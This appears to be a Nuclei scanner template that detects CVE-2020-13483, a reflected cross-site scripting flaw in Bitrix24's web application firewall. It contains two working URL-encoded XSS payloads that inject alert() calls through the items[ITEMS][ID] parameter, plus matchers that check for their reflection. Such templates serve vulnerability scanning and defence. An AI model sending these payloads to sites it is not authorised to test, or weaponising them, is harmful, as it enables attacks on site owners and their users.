43 lines
1.8 KiB
YAML
43 lines
1.8 KiB
YAML
id: CVE-2020-13483
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info:
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name: Bitrix24 through 20.0.0 allows XSS
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author: pikpikcu,3th1c_yuk1
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severity: medium
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description: The Web Application Firewall in Bitrix24 through 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
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reference:
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- https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
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- https://twitter.com/brutelogic/status/1483073170827628547
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2020-13483
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cwe-id: CWE-79
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tags: cve,cve2020,xss,bitrix
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requests:
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- method: GET
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path:
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- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
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- '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'
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stop-at-first-match: true
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<a href="/*">*/)});function __MobileAppList(){alert(1)}//'
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- "function(handler){};function __MobileAppList(test){alert(document.domain);};//</div>"
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condition: or
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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